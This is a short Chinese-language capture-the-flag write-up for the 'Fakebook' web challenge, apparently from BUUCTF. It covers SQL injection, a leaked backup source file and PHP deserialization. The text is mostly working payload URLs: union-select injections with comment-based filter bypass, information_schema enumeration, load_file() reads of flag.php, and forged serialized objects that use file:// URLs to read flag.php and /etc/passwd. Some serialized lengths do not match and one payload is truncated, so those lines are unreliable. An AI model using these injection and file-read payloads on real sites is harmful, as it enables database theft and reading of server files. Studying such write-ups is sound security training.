Fakebook

考点:SQL 注入、源码泄漏、反序列化

信息搜集

  • 登陆注册

  • 注册需要输入博客 URL(联想到 SSRF)

  • view.php 可以注入

  • 存在 user.php.bak

  • 存在 flag.php

  • 页面会报错,WEB目录为 /var/www/html/

利用

  1. 通过注入拿到数据库中的数据

users

no,username,passwd,data

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:3;s:4:"blog";s:16:"http://baidu.com";}

猜测该页面会把查询出来的内容进行反序列化 因此我们为了读取 flag,可以直接通过注入构造一个序列化的数据

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:3;s:4:"blog";s:16:"file:///var/www/html/flag.php";}
http://1eb82f8a-5494-47fc-88af-8bdd6e607c1f.node3.buuoj.cn/view.php?no=0/**/unIon/**/seleCt/**/33,44,55,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:3;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27

非预期

直接使用注入点读取 flag

http://1eb82f8a-5494-47fc-88af-8bdd6e607c1f.node3.buuoj.cn/view.php?no=0/**/unIon/**/seleCt/**/1,load_file(%27/var/www/html/flag.php%27),3,4%23

http://f9d6421e-4a3e-4d96-a24b-d22ecaf15cce.node3.buuoj.cn/view.php?no=2/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/order/**/by/**/1/**/%23

http://f9d6421e-4a3e-4d96-a24b-d22ecaf15cce.node3.buuoj.cn/view.php?no=2/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'/**/order/**/by/**/1/**/%23

blog, no,username,passwd,data

http://f9d6421e-4a3e-4d96-a24b-d22ecaf15cce.node3.buuoj.cn/view.php?no=2/**/union/**/select/**/1,concat_w,3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'/**/order/**/by/**/1/**/%23

file:///

O:8:"UserInfo":3:{s:4:"name";s:3:"wyh";s:3:"age";i:1;s:4:"blog";s:16:"file:///etc/passwd";}

php 序列化数据

最后更新于